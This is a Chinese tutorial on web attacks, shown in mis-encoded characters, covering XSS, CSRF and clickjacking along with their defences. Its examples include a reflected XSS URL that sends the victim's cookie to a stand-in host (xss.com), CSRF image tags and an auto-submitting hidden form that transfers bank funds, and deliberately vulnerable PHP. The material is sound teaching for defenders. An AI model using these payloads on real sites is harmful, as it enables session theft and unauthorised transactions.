Äú¿ÉÒÔ¾èÖú£¬Ö§³ÖÎÒÃǵĹ«ÒæÊÂÒµ¡£

1Ôª 10Ôª 50Ôª





ÈÏÖ¤Â룺  ÑéÖ¤Âë,¿´²»Çå³þ?Çëµã»÷Ë¢ÐÂÑéÖ¤Âë ±ØÌî



  ÇóÖª ÎÄÕ ÎÄ¿â Lib ÊÓÆµ iPerson ¿Î³Ì ÈÏÖ¤ ×Éѯ ¹¤¾ß ½²×ù Model Center   Code  
»áÔ±   
   
 
     
   
 ¶©ÔÄ
  ¾èÖú
Web°²È«µÄÈý¸ö¹¥·À×ËÊÆ
 
  1858  次浏览      27
 2017-12-11 
 

 

±à¼­ÍƼö:
±¾ÎÄÀ´×ÔÓÚsegmentfault£¬¹ØÓÚWeb°²È«µÄÎÊÌ⣬ÊÇÒ»¸öÀÏÉú³£Ì¸µÄÎÊÌ⣬×÷ΪÀëÓû§×î½üµÄÒ»²ã£¬ÎÒÃÇ´óǰ¶ËȷʵÐèÒª°ÑÊÖÉìµÄ¸üÔ¶Ò»µã¡£

ÎÒÃÇ×î³£¼ûµÄWeb°²È«¹¥»÷ÓÐÒÔϼ¸ÖÖ

1.XSS ¿çÕ¾½Å±¾¹¥»÷

2.CSRF ¿çÕ¾ÇëÇóαÔì

3.clickjacking µã»÷½Ù³Ö/UI-¸²¸Ç¹¥»÷

ÏÂÃæÎÒÃÇÀ´Ò»Ò»·ÖÎö

XSS ¿çÕ¾½Å±¾¹¥»÷

¿çÕ¾½Å±¾¹¥»÷£¨Cross Site Scripting£©£¬ÎªÁ˲»ºÍ²ãµþÑùʽ±í£¨Cascading Style Sheets, CSS£©µÄËõд»ìÏý£¬¹Ê½«¿çÕ¾½Å±¾¹¥»÷ËõдΪXSS¡£¶ñÒâ¹¥»÷ÕßÍùWebÒ³ÃæÀï²åÈë¶ñÒâScript´úÂ룬µ±Óû§ä¯ÀÀ¸Ãҳ֮ʱ£¬Ç¶ÈëÆäÖÐWebÀïÃæµÄScript´úÂë»á±»Ö´ÐУ¬´Ó¶ø´ïµ½¶ñÒâ¹¥»÷Óû§µÄÄ¿µÄ¡£

·ÖÀà

1.Reflected XSS£¨»ùÓÚ·´ÉäµÄXSS¹¥»÷£©

2.Stored XSS£¨»ùÓÚ´æ´¢µÄXSS¹¥»÷£©

3.DOM-based or local XSS£¨»ùÓÚDOM»ò±¾µØµÄXSS¹¥»÷£©

Reflected XSS£¨»ùÓÚ·´ÉäµÄXSS¹¥»÷£©

Ö÷Ҫͨ¹ýÀûÓÃϵͳ·´À¡ÐÐΪ©¶´£¬²¢ÆÛÆ­Óû§Ö÷¶¯´¥·¢£¬´Ó¶ø·¢ÆðWeb¹¥»÷¡£

¾Ù¸öÀõ×Ó£º

1- ¼ÙÉ裬ÔÚÑÏÑ¡ÍøÕ¾ËÑË÷ÉÌÆ·£¬µ±ËÑË÷²»µ½Ê±Õ¾µã»á×ö¡°xxxδÉϼÜÌáʾ¡±¡£ÈçÏÂͼ¡£

2- ÔÚËÑË÷¿òËÑË÷ÄÚÈÝ£¬ÌîÈë¡°<script>alert('xss')</script>¡±, µã»÷ËÑË÷¡£

3- µ±Ç°¶ËÒ³ÃæÃ»ÓжÔÌîÈëµÄÊý¾Ý½øÐйýÂË£¬Ö±½ÓÏÔʾÔÚÒ³ÃæÉÏ£¬ Õâʱ¾Í»áalertÄǸö×Ö·û´®³öÀ´¡£

£¨µ±È»ÉÏͼÊÇÄ£ÄâµÄ£©

ÒÔÉÏ3²½Ö»ÊÇ¡°×ÔÓé×ÔÀÖ¡±£¬XSS×î¹Ø¼üµÄÊǵÚËIJ½¡£

4- ½ø¶ø¿ÉÒÔ¹¹Ôì»ñÈ¡Óû§cookiesµÄµØÖ·£¬Í¨¹ýQQȺ»òÕßÀ¬»øÓʼþ£¬À´ÈÃÆäËûÈ˵ã»÷Õâ¸öµØÖ·£º

http://you.163.com/search?keyword=<script>document.

location='http://xss.com/get?cookie='+document.cookie</script>

5- Èç¹ûÊÜÆ­µÄÓû§¸ÕºÃÒѾ­µÇ¼¹ýÑÏÑ¡ÍøÕ¾£¬ÄÇô£¬Óû§µÄµÇ¼cookieÐÅÏ¢¾ÍÒѾ­·¢µ½Á˹¥»÷ÕߵķþÎñÆ÷£¨xss.com£©ÁË¡£µ±È»£¬¹¥»÷Õß»á×öһЩ¸ü¹ý·ÖµÄ²Ù×÷¡£

Stored XSS£¨»ùÓÚ´æ´¢µÄXSS¹¥»÷£©

Stored XSSºÍReflected XSSµÄ²î±ð¾ÍÔÚÓÚ£¬¾ßÓй¥»÷ÐԵĽű¾±»±£´æµ½ÁË·þÎñÆ÷²¢ÇÒ¿ÉÒÔ±»ÆÕͨÓû§ÍêÕûµÄ´Ó·þÎñµÄÈ¡µÃ²¢Ö´ÐУ¬´Ó¶ø»ñµÃÁËÔÚÍøÂçÉÏ´«²¥µÄÄÜÁ¦¡£

ÔپٸöÀõ×Ó£º

1- ·¢Ò»ÆªÎÄÕ£¬ÀïÃæ°üº¬Á˶ñÒâ½Å±¾

ÄãºÃ£¡µ±Äã¿´µ½Õâ¶ÎÎÄ×Öʱ£¬ÄãµÄÐÅÏ¢ÒѾ­²»°²È«ÁË£¡<script>alert('xss')</script>

2- ºó¶ËûÓжÔÎÄÕ½øÐйýÂË£¬Ö±½Ó±£´æÎÄÕÂÄÚÈݵ½Êý¾Ý¿â¡£

3- µ±ÆäËû¶ÁÕß¿´ÕâÆªÎÄÕµÄʱºò£¬°üº¬µÄ¶ñÒâ½Å±¾¾Í»áÖ´ÐС£

tips£ºÎÄÕÂÊDZ£´æÕû¸öHTMLÄÚÈݵģ¬Ç°¶ËÏÔʾʱºòÒ²²»×ö¹ýÂË£¬¾Í¼«¿ÉÄܳöÏÖÕâÖÖÇé¿ö¡£

Èç¹ûÎÒÃǵIJÙ×÷²»½ö½öÊǵ¯³öÒ»¸öÐÅÏ¢£¬¶øÇÒɾ³ýһƪÎÄÕ£¬·¢Ò»Æª·´¶¯µÄÎÄÕ£¬»òÕß³ÉΪÎҵķÛË¿²¢ÇÒ½«ÕâÆª´øÓжñÒâ½Å±¾µÄÎÄÕÂת·¢£¬ÕâÑùÊDz»ÊǾ;ßÓÐÁ˹¥»÷ÐÔ¡£

DOM-based or local XSS£¨»ùÓÚDOM»ò±¾µØµÄXSS¹¥»÷£©

DOM£¬È«³ÆDocument Object Model£¬ÊÇÒ»¸öƽ̨ºÍÓïÑÔ¶¼ÖÐÁ¢µÄ½Ó¿Ú£¬¿ÉÒÔʹ³ÌÐòºÍ½Å±¾Äܹ»¶¯Ì¬·ÃÎʺ͸üÐÂÎĵµµÄÄÚÈÝ¡¢½á¹¹ÒÔ¼°Ñùʽ¡£

DOMÐÍXSSÆäʵÊÇÒ»ÖÖÌØÊâÀàÐ͵ķ´ÉäÐÍXSS£¬ËüÊÇ»ùÓÚDOMÎĵµ¶ÔÏóÄ£Ð͵ÄÒ»ÖÖ©¶´¡£¿ÉÒÔͨ¹ýDOMÀ´¶¯Ì¬ÐÞ¸ÄÒ³ÃæÄÚÈÝ£¬´Ó¿Í»§¶Ë»ñÈ¡DOMÖеÄÊý¾Ý²¢ÔÚ±¾µØÖ´ÐС£»ùÓÚÕâ¸öÌØÐÔ£¬¾Í¿ÉÒÔÀûÓÃJS½Å±¾À´ÊµÏÖXSS©¶´µÄÀûÓá£

¿ÉÄÜ´¥·¢DOMÐÍXSSµÄÊôÐÔ£º

1.document.refererÊôÐÔ

2.window.nameÊôÐÔ

3.locationÊôÐÔ

4.innerHTMLÊôÐÔ

5.documen.writeÊôÐÔ

¡¤¡¤¡¤¡¤¡¤¡¤

×ܽá

XSS¹¥»÷µÄ±¾ÖʾÍÊÇ£¬ÀûÓÃÒ»ÇÐÊÖ¶ÎÔÚÄ¿±êÓû§µÄä¯ÀÀÆ÷ÖÐÖ´Ðй¥»÷½Å±¾¡£

·À·¶

¶ÔÓÚÒ»ÇÐÓû§µÄÊäÈë¡¢Êä³ö¡¢¿Í»§¶ËµÄÊä³öÄÚÈÝÊÓΪ²»¿ÉÐÅ£¬ÔÚÊý¾ÝÌí¼Óµ½DOM»òÕßÖ´ÐÐÁËDOM APIµÄʱºò£¬ÎÒÃÇÐèÒª¶ÔÄÚÈݽøÐÐHtmlEncode»òJavaScriptEncode£¬ÒÔÔ¤·ÀXSS¹¥»÷¡£

CSRF ¿çÕ¾ÇëÇóαÔì

CSRF£¨Cross-site request forgery£©¿çÕ¾ÇëÇóαÔ죬Ҳ±»³ÆÎª¡°One Click Attack¡±»òÕßSession Riding£¬Í¨³£ËõдΪCSRF»òÕßXSRF£¬ÊÇÒ»ÖÖ¶ÔÍøÕ¾µÄ¶ñÒâÀûÓ᣾¡¹ÜÌýÆðÀ´Ïñ¿çÕ¾½Å±¾£¨XSS£©£¬µ«ËüÓëXSS·Ç³£²»Í¬£¬XSSÀûÓÃÕ¾µãÄÚµÄÐÅÈÎÓû§£¬¶øCSRFÔòͨ¹ýαװÀ´×ÔÊÜÐÅÈÎÓû§µÄÇëÇóÀ´ÀûÓÃÊÜÐÅÈεÄÍøÕ¾¡£ÓëXSS¹¥»÷Ïà±È£¬CSRF¹¥»÷ÍùÍù²»´óÁ÷ÐУ¨Òò´Ë¶ÔÆä½øÐзÀ·¶µÄ×ÊÔ´Ò²Ï൱ϡÉÙ£©ºÍÄÑÒÔ·À·¶£¬ËùÒÔ±»ÈÏΪ±ÈXSS¸ü¾ßΣÏÕÐÔ¡£µ«ÍùÍùͬXSSһͬ×÷°¸£¡

´ËϵÄÏê½â²¿·Öת×ÔhydddµÄ²©ÎÄhttp://www.cnblogs.com/hyddd/...£¬Ê¾ÀýдµÄºÜÔ޾Ͳ¿·ÖÌܳ­ÖÁ´Ë£¬²¢×öÁËÒ»¶¨µÄÐ޸ģ¬Ïò×÷ÕßhydddÖ¾´&ÖÂл¡£

CSRF¿ÉÒÔ×öʲô£¿

ÄãÕâ¿ÉÒÔÕâôÀí½âCSRF¹¥»÷£º¹¥»÷ÕßµÁÓÃÁËÄãµÄÉí·Ý£¬ÒÔÄãµÄÃûÒå·¢ËͶñÒâÇëÇó¡£CSRFÄܹ»×öµÄÊÂÇé°üÀ¨£ºÒÔÄãÃûÒå·¢ËÍÓʼþ£¬·¢ÏûÏ¢£¬µÁÈ¡ÄãµÄÕ˺ţ¬ÉõÖÁÓÚ¹ºÂòÉÌÆ·£¬ÐéÄâ»õ±ÒתÕË......Ôì³ÉµÄÎÊÌâ°üÀ¨£º¸öÈËÒþ˽й¶ÒÔ¼°²Æ²ú°²È«¡£

CSRF©¶´ÏÖ×´

CSRFÕâÖÖ¹¥»÷·½Ê½ÔÚ2000ÄêÒѾ­±»¹úÍâµÄ°²È«ÈËÔ±Ìá³ö£¬µ«ÔÚ¹úÄÚ£¬Ö±µ½06Äê²Å¿ªÊ¼±»¹Ø×¢£¬08Ä꣬¹úÄÚÍâµÄ¶à¸ö´óÐÍÉçÇøºÍ½»»¥ÍøÕ¾·Ö±ð±¬³öCSRF©¶´£¬È磺NYTimes.com£¨Å¦Ô¼Ê±±¨£©¡¢Metafilter£¨Ò»¸ö´óÐ͵ÄBLOGÍøÕ¾£©£¬YouTubeºÍ°Ù¶ÈHI......¶øÏÖÔÚ£¬»¥ÁªÍøÉϵÄÐí¶àÕ¾µãÈԶԴ˺ÁÎÞ·À±¸£¬ÒÔÖÁÓÚ°²È«Òµ½ç³ÆCSRFΪ¡°³Á˯µÄ¾ÞÈË¡±¡£

CSRFµÄÔ­Àí

ÏÂͼ¼òµ¥²ûÊöÁËCSRF¹¥»÷µÄ˼Ï룺

´ÓÉÏͼ¿ÉÒÔ¿´³ö£¬ÒªÍê³ÉÒ»´ÎCSRF¹¥»÷£¬Êܺ¦Õß±ØÐëÒÀ´ÎÍê³ÉÁ½¸ö²½Ö裺

1.µÇ¼ÊÜÐÅÈÎÍøÕ¾A£¬²¢ÔÚ±¾µØÉú³ÉCookie¡£

2.ÔÚ²»µÇ³öAµÄÇé¿öÏ£¬·ÃÎÊΣÏÕÍøÕ¾B¡£

¿´µ½ÕâÀÄãÒ²Ðí»á˵£º¡°Èç¹ûÎÒ²»Âú×ãÒÔÉÏÁ½¸öÌõ¼þÖеÄÒ»¸ö£¬ÎҾͲ»»áÊܵ½CSRFµÄ¹¥»÷¡±¡£Êǵģ¬È·ÊµÈç´Ë£¬µ«Äã²»Äܱ£Ö¤ÒÔÏÂÇé¿ö²»»á·¢Éú£º

1.Äã²»Äܱ£Ö¤ÄãµÇ¼ÁËÒ»¸öÍøÕ¾ºó£¬²»ÔÙ´ò¿ªÒ»¸ötabÒ³Ãæ²¢·ÃÎÊÁíÍâµÄÍøÕ¾¡£

2.Äã²»Äܱ£Ö¤Äã¹Ø±Õä¯ÀÀÆ÷Á˺ó£¬Äã±¾µØµÄCookieÁ¢¿Ì¹ýÆÚ£¬ÄãÉϴεĻỰÒѾ­½áÊø¡££¨ÊÂʵÉÏ£¬¹Ø±Õä¯ÀÀÆ÷²»ÄܽáÊøÒ»¸ö»á»°£¬µ«´ó¶àÊýÈ˶¼»á´íÎóµÄÈÏΪ¹Ø±Õä¯ÀÀÆ÷¾ÍµÈÓÚÍ˳öµÇ¼/½áÊø»á»°ÁË......£©

3.ÉÏͼÖÐËùνµÄ¹¥»÷ÍøÕ¾£¬¿ÉÄÜÊÇÒ»¸ö´æÔÚÆäËû©¶´µÄ¿ÉÐÅÈεľ­³£±»ÈË·ÃÎʵÄÍøÕ¾¡£

ʾÀý

ÉÏÃæ´ó¸ÅµØ½²ÁËÒ»ÏÂCSRF¹¥»÷µÄ˼Ï룬ÏÂÃæÎÒ½«Óü¸¸öÀý×ÓÏêϸ˵˵¾ßÌåµÄCSRF¹¥»÷£¬ÕâÀïÎÒÒÔÒ»¸öÒøÐÐתÕ˵IJÙ×÷×÷ΪÀý×Ó£¨½ö½öÊÇÀý×Ó£¬ÕæÊµµÄÒøÐÐÍøÕ¾Ã»Õâôɵ:>£©

ʾÀý1

ÒøÐÐÍøÕ¾A£¬ËüÒÔGETÇëÇóÀ´Íê³ÉÒøÐÐתÕ˵IJÙ×÷£¬È磺http://www.mybank.com/Transfe...

ΣÏÕÍøÕ¾B£¬ËüÀïÃæÓÐÒ»¶ÎHTMLµÄ´úÂëÈçÏ£º

<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

Ê×ÏÈ£¬ÄãµÇ¼ÁËÒøÐÐÍøÕ¾A£¬È»ºó·ÃÎÊΣÏÕÍøÕ¾B£¬àÞ£¬ÕâʱÄã»á·¢ÏÖÄãµÄÒøÐÐÕË»§ÉÙÁË1000¿é......

Ϊʲô»áÕâÑùÄØ£¿Ô­ÒòÊÇÒøÐÐÍøÕ¾AÎ¥·´ÁËHTTP¹æ·¶£¬Ê¹ÓÃGETÇëÇó¸üÐÂ×ÊÔ´¡£ÔÚ·ÃÎÊΣÏÕÍøÕ¾BµÄ֮ǰ£¬ÄãÒѾ­µÇ¼ÁËÒøÐÐÍøÕ¾A£¬¶øBÖеÄ<img>ÒÔGETµÄ·½Ê½ÇëÇóµÚÈý·½×ÊÔ´£¨ÕâÀïµÄµÚÈý·½¾ÍÊÇÖ¸ÒøÐÐÍøÕ¾ÁË£¬Ô­±¾ÕâÊÇÒ»¸öºÏ·¨µÄÇëÇ󣬵«ÕâÀï±»²»·¨·Ö×ÓÀûÓÃÁË£©£¬ËùÒÔÄãµÄä¯ÀÀÆ÷»á´øÉÏÄãµÄÒøÐÐÍøÕ¾AµÄCookie·¢³öGetÇëÇó£¬È¥»ñÈ¡×ÊÔ´

http://www.mybank.com/Transfer.php?toBankId=11&money=1000

½á¹ûÒøÐÐÍøÕ¾·þÎñÆ÷ÊÕµ½ÇëÇóºó£¬ÈÏΪÕâÊÇÒ»¸ö¸üÐÂ×ÊÔ´²Ù×÷£¨×ªÕ˲Ù×÷£©£¬ËùÒÔ¾ÍÁ¢¿Ì½øÐÐתÕ˲Ù×÷......

ʾÀý2

ΪÁ˶žøÉÏÃæµÄÎÊÌâ£¬ÒøÐоö¶¨¸ÄÓÃPOSTÇëÇóÍê³ÉתÕ˲Ù×÷¡£

ÒøÐÐÍøÕ¾AµÄWEB±íµ¥ÈçÏ£º

<form action="Transfer.php" method="POST">
<p>ToBankId: <input type="text" name="toBankId" /></p>
<p>Money: <input type="text" name="money" /></p>
<p><input type="submit" value="Transfer" /></p>
</form>

ºǫ́´¦ÀíÒ³ÃæTransfer.phpÈçÏ£º

<?php
¡¡¡¡¡¡¡¡session_start();
¡¡¡¡¡¡¡¡if (isset($_REQUEST['toBankId'] &&¡¡isset($_REQUEST['money']))
¡¡¡¡¡¡¡¡{
¡¡¡¡¡¡¡¡ buy_stocks($_REQUEST['toBankId'],¡¡$_REQUEST['money']);
¡¡¡¡¡¡¡¡}
?>

ΣÏÕÍøÕ¾B£¬ÈÔȻֻÊǰüº¬ÄǾäHTML´úÂ룺

<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

ºÍʾÀý1ÖеIJÙ×÷Ò»Ñù£¬ÄãÊ×ÏȵǼÁËÒøÐÐÍøÕ¾A£¬È»ºó·ÃÎÊΣÏÕÍøÕ¾B£¬½á¹û.....ºÍʾÀý1Ò»Ñù£¬ÄãÔÙ´ÎûÁË1000¿é¡«T_T£¬Õâ´ÎʹʵÄÔ­ÒòÊÇ£ºÒøÐкǫ́ʹÓÃÁË$_REQUESTÈ¥»ñÈ¡ÇëÇóµÄÊý¾Ý£¬¶ø$_REQUEST¼È¿ÉÒÔ»ñÈ¡GETÇëÇóµÄÊý¾Ý£¬Ò²¿ÉÒÔ»ñÈ¡POSTÇëÇóµÄÊý¾Ý£¬Õâ¾ÍÔì³ÉÁËÔÚºǫ́´¦Àí³ÌÐòÎÞ·¨Çø·ÖÕâµ½µ×ÊÇGETÇëÇóµÄÊý¾Ý»¹ÊÇPOSTÇëÇóµÄÊý¾Ý¡£ÔÚPHPÖУ¬¿ÉÒÔʹÓÃ$_GETºÍ$_POST·Ö±ð»ñÈ¡GETÇëÇóºÍPOSTÇëÇóµÄÊý¾Ý¡£ÔÚJAVAÖУ¬ÓÃÓÚ»ñÈ¡ÇëÇóÊý¾ÝrequestÒ»Ñù´æÔÚ²»ÄÜÇø·ÖGETÇëÇóÊý¾ÝºÍPOSTÊý¾ÝµÄÎÊÌâ¡£

ʾÀý3

¾­¹ýÇ°Ãæ2¸ö²ÒÍ´µÄ½Ìѵ£¬ÒøÐоö¶¨°Ñ»ñÈ¡ÇëÇóÊý¾ÝµÄ·½·¨Ò²¸ÄÁË£¬¸ÄÓÃ$_POST£¬Ö»»ñÈ¡POSTÇëÇóµÄÊý¾Ý£¬ºǫ́´¦ÀíÒ³ÃæTransfer.php´úÂëÈçÏ£º

<?php
¡¡¡¡¡¡¡¡session_start();
¡¡¡¡¡¡¡¡if (isset($_POST['toBankId'] &&¡¡isset($_POST['money']))
¡¡¡¡¡¡¡¡{
¡¡¡¡¡¡¡¡ buy_stocks($_POST['toBankId'],¡¡$_POST['money']);
¡¡¡¡¡¡¡¡}
¡¡¡¡?>

¡¡¡¡

È»¶ø£¬Î£ÏÕÍøÕ¾BÓëʱ¾ã½ø£¬Ëü¸ÄÁËһϴúÂ룺

<html>
¡¡¡¡<head>
¡¡¡¡¡¡¡¡<script type="text/javascript">
¡¡¡¡¡¡¡¡¡¡¡¡function steal()
¡¡¡¡¡¡¡¡¡¡¡¡{
¡¡¡¡¡¡¡¡ iframe = document.frames["steal"];
¡¡¡¡ ¡¡¡¡ iframe.document.Submit("transfer");
¡¡¡¡¡¡¡¡¡¡¡¡}
¡¡¡¡¡¡¡¡</script>
¡¡¡¡</head>

¡¡¡¡<body onload="steal()">
¡¡¡¡¡¡¡¡<iframe name="steal" display="none">
¡¡¡¡¡¡¡¡¡¡¡¡<form method="POST" name="transfer"¡¡action="http://www.myBank.com/Transfer.php">
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡<input type="hidden" name="toBankId" value="11">
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡<input type="hidden" name="money" value="1000">
¡¡¡¡¡¡¡¡¡¡¡¡</form>
¡¡¡¡¡¡¡¡</iframe>
¡¡¡¡</body>
</html>

¡¡

Èç¹ûÓû§ÈÔÊǼÌÐøÉÏÃæµÄ²Ù×÷£¬ºÜ²»ÐÒ£¬½á¹û½«»áÊÇÔٴβ»¼û1000¿é......ÒòΪÕâÀïΣÏÕÍøÕ¾B°µµØÀï·¢ËÍÁËPOSTÇëÇóµ½ÒøÐÐ!

×ܽáÒ»ÏÂÉÏÃæ3¸öÀý×Ó£¬CSRFÖ÷ÒªµÄ¹¥»÷ģʽ»ù±¾ÉÏÊÇÒÔÉϵÄ3ÖÖ£¬ÆäÖÐÒÔµÚ1,2ÖÖ×îΪÑÏÖØ£¬ÒòΪ´¥·¢Ìõ¼þºÜ¼òµ¥£¬Ò»¸ö<img>¾Í¿ÉÒÔÁË£¬¶øµÚ3ÖֱȽÏÂé·³£¬ÐèҪʹÓÃJavaScript£¬ËùÒÔʹÓõĻú»á»á±ÈÇ°ÃæµÄÉٺܶ࣬µ«ÎÞÂÛÊÇÄÄÖÖÇé¿ö£¬Ö»Òª´¥·¢ÁËCSRF¹¥»÷£¬ºó¹û¶¼ÓпÉÄܺÜÑÏÖØ¡£

Àí½âÉÏÃæµÄ3ÖÖ¹¥»÷ģʽ£¬Æäʵ¿ÉÒÔ¿´³ö£¬CSRF¹¥»÷ÊÇÔ´ÓÚWEBµÄÒþʽÉí·ÝÑéÖ¤»úÖÆ£¡WEBµÄÉí·ÝÑéÖ¤»úÖÆËäÈ»¿ÉÒÔ±£Ö¤Ò»¸öÇëÇóÊÇÀ´×ÔÓÚij¸öÓû§µÄä¯ÀÀÆ÷£¬µ«È´ÎÞ·¨±£Ö¤¸ÃÇëÇóÊÇÓû§Åú×¼·¢Ë͵ģ¡

µ±Ç°·ÀÓù CSRF µÄ¼¸ÖÖ²ßÂÔ

ÔÚÒµ½çĿǰ·ÀÓù CSRF ¹¥»÷Ö÷ÒªÓÐÈýÖÖ²ßÂÔ£ºÑéÖ¤ HTTP Referer ×ֶΣ»ÔÚÇëÇóµØÖ·ÖÐÌí¼Ó token ²¢ÑéÖ¤£»ÔÚ HTTP Í·ÖÐ×Ô¶¨ÒåÊôÐÔ²¢ÑéÖ¤¡£ÏÂÃæ¾Í·Ö±ð¶ÔÕâÈýÖÖ²ßÂÔ½øÐÐÏêϸ½éÉÜ¡£

ÑéÖ¤ HTTP Referer ×Ö¶Î

ÀûÓÃHTTPÍ·ÖеÄRefererÅжÏÇëÇóÀ´Ô´ÊÇ·ñºÏ·¨¡£

Óŵ㣺¼òµ¥Ò×ÐУ¬Ö»ÐèÒªÔÚ×îºó¸øËùÓа²È«Ãô¸ÐµÄÇëÇóͳһÔö¼ÓÒ»¸öÀ¹½ØÆ÷À´¼ì²é Referer µÄÖµ¾Í¿ÉÒÔ¡£ÌرðÊǶÔÓÚµ±Ç°ÏÖÓеÄϵͳ£¬²»ÐèÒª¸Ä±äµ±Ç°ÏµÍ³µÄÈκÎÒÑÓдúÂëºÍÂß¼­£¬Ã»ÓзçÏÕ£¬·Ç³£±ã½Ý¡£

ȱµã£º

1¡¢Referer µÄÖµÊÇÓÉä¯ÀÀÆ÷ÌṩµÄ£¬²»¿ÉÈ«ÐÅ£¬µÍ°æ±¾ä¯ÀÀÆ÷ÏÂReferer´æÔÚαÔì·çÏÕ¡£

2¡¢Óû§×Ô¼º¿ÉÒÔÉèÖÃä¯ÀÀÆ÷ʹÆäÔÚ·¢ËÍÇëÇóʱ²»ÔÙÌṩ Refererʱ£¬ÍøÕ¾½«¾Ü¾øºÏ·¨Óû§µÄ·ÃÎÊ¡£

ÔÚÇëÇóµØÖ·ÖÐÌí¼Ó token ²¢ÑéÖ¤

ÔÚÇëÇóÖзÅÈëºÚ¿ÍËù²»ÄÜαÔìµÄÐÅÏ¢£¬²¢ÇÒ¸ÃÐÅÏ¢²»´æÔÚÓÚ cookie Ö®ÖУ¬ÒÔHTTPÇëÇó²ÎÊýµÄÐÎʽ¼ÓÈëÒ»¸öËæ»ú²úÉúµÄ token½»ÓÉ·þÎñ¶ËÑéÖ¤

Óŵ㣺±È¼ì²é Referer Òª°²È«Ò»Ð©£¬²¢ÇÒ²»Éæ¼°Óû§Òþ˽¡£

ȱµã£º¶ÔËùÓÐÇëÇó¶¼Ìí¼Ótoken±È½ÏÀ§ÄÑ£¬ÄÑÒÔ±£Ö¤ token ±¾ÉíµÄ°²È«£¬ÒÀÈ»»á±»ÀûÓûñÈ¡µ½token

ÔÚ HTTP Í·ÖÐ×Ô¶¨ÒåÊôÐÔ²¢ÑéÖ¤+One-Time Tokens

½«token·Åµ½ HTTP Í·ÖÐ×Ô¶¨ÒåµÄÊôÐÔÀͨ¹ý XMLHttpRequest µÄÒì²½ÇëÇó½»Óɺó¶ËУÑ飬²¢ÇÒÒ»´ÎÓÐЧ¡£

Óŵ㣺ͳһ¹ÜÀítokenÊäÈëÊä³ö£¬¿ÉÒÔ±£Ö¤tokenµÄ°²È«ÐÔ

ȱµã£ºÓоÖÏÞÐÔ£¬ÎÞ·¨ÔÚ·ÇÒì²½µÄÇëÇóÉÏʵʩ

µã»÷½Ù³Ö

µã»÷½Ù³Ö£¬Ó¢ÎÄÃûclickjacking£¬Ò²½ÐUI¸²¸Ç¹¥»÷£¬¹¥»÷Õß»áÀûÓÃÒ»¸ö»ò¶à¸ö͸Ã÷»ò²»Í¸Ã÷µÄ²ãÀ´ÓÕÆ­Óû§Ö§³Öµã»÷°´Å¥µÄ²Ù×÷£¬¶øÊµ¼ÊµÄµã»÷ȷʵÓû§¿´²»µ½µÄÒ»¸ö°´Å¥£¬´Ó¶ø´ïµ½ÔÚÓû§²»ÖªÇéµÄÇé¿öÏÂʵʩ¹¥»÷¡£

ÕâÖÖ¹¥»÷·½Ê½µÄ¹Ø¼üÔÚÓÚ¿ÉÒÔʵÏÖÒ³ÖÐÒ³µÄ<iframe />±êÇ©£¬²¢ÇÒ¿ÉÒÔʹÓÃcssÑùʽ±í½«Ëû²»¿É¼û

ÈçÒÔÉÏʾÒâͼµÄÀ¶É«²ã£¬¹¥»÷Õß»áͨ¹ýÒ»¶¨µÄÊÖ¶ÎÓÕ»óÓû§¡°ÔÚºìÉ«²ã¡±ÊäÈëÐÅÏ¢£¬µ«Óû§Êµ¼ÊÉÏʵÔÚÀ¶É«²ãÖУ¬ÒÔ´Ë×öÆÛÆ­ÐÐΪ¡£

ÄÃÖ§¸¶±¦×ö¸öÀõ×Ó

ÉÏͼÊÇÖ§¸¶±¦ÊÖ»ú»°·Ñ³äÖµµÄ½çÃæ¡£

ÔÙ¿´¿´Ò»Ï½çÃæ

Êǵģ¬Õâ¸öÊÇÎÒαÔìµÄ£¬Èç¹ûÎÒ½«ÕæÕýµÄ³äÖµÕ¾µãÒþ²ØÔڴ˽çÃæÉÏ·½¡£ÎÒÏ룬´ÏÃ÷µÄÄãÒѾ­ÖªµÀclickjackingµÄΣÏÕÐÔÁË¡£

ÉÏͼÎÒ¹À¼Æ×öÁËһϴíλºÍ½µµÍ͸Ã÷¶È£¬ÊDz»ÊǺÜÓÐÒâË¼ÄØ£¿ÉµÉµ·Ö²»ÇåµÄÓû§»¹ÒÔΪÊÇÁìÈ¡Á˽±Æ·£¬ÆäʵÊǸøÄ°ÉúÈ˳äÖµÁË»°·Ñ¡£

ÕâÖÖ·½·¨×î³£¼ûµÄ¹¥»÷³¡¾°ÊÇαÔìÒ»Ð©ÍøÕ¾µÁÈ¡ÕʺÅÐÅÏ¢£¬ÈçÖ§¸¶±¦¡¢QQ¡¢ÍøÒ×ÕʺŵÈÕʺŵÄÕËÃÜ

Ŀǰ£¬clickjacking»¹Ëã±È½ÏÀäÃÅ£¬ºÜ¶à°²È«Òâʶ²»Ç¿µÄÍøÕ¾»¹Î´×ÅÊÖ×öclickjackingµÄ·À·¶¡£ÕâÊǺÜΣÏյġ£

·À·¶

·ÀÖ¹µã»÷½Ù³ÖÓÐÁ½ÖÖÖ÷Òª·½·¨£º

X-FRAME-OPTIONS

X-FRAME-OPTIONSÊÇ΢ÈíÌá³öµÄÒ»¸öhttpÍ·£¬Ö¸Ê¾ä¯ÀÀÆ÷²»ÔÊÐí´ÓÆäËûÓò½øÐÐÈ¡¾°£¬×¨ÃÅÓÃÀ´·ÀÓùÀûÓÃiframeǶÌ׵ĵã»÷½Ù³Ö¹¥»÷¡£²¢ÇÒÔÚIE8¡¢Firefox3.6¡¢Chrome4ÒÔÉϵİ汾¾ùÄܺܺõÄÖ§³Ö¡£

Õâ¸öÍ·ÓÐÈý¸öÖµ£º

1.DENY // ¾Ü¾øÈκÎÓò¼ÓÔØ

2.SAMEORIGIN // ÔÊÐíͬԴÓòϼÓÔØ

3.ALLOW-FROM // ¿ÉÒÔ¶¨ÒåÔÊÐíframe¼ÓÔØµÄÒ³ÃæµØÖ·

¶¥²ãÅжÏ

ÔÚUIÖвÉÓ÷ÀÓùÐÔ´úÂ룬ÒÔÈ·±£µ±Ç°Ö¡ÊÇ×î¶¥²ãµÄ´°¿Ú

·½·¨ÓжàÖУ¬Èç

top != self || top.location != self.location || top.location != location

   
1858 ´Îä¯ÀÀ       27
 
Ïà¹ØÎÄÕÂ

iOSÓ¦Óð²È«¿ª·¢£¬Äã²»ÖªµÀµÄÄÇЩÊÂÊõ
Web°²È«Ö®SQL×¢Èë¹¥»÷
ÒÆ¶¯APP°²È«ÔÚÉøÍ¸²âÊÔÖеÄÓ¦ÓÃ
´ÓGoogle±¸·Ý»¥ÁªÍø¿´¡°Êý¾Ý°²È«¡±
 
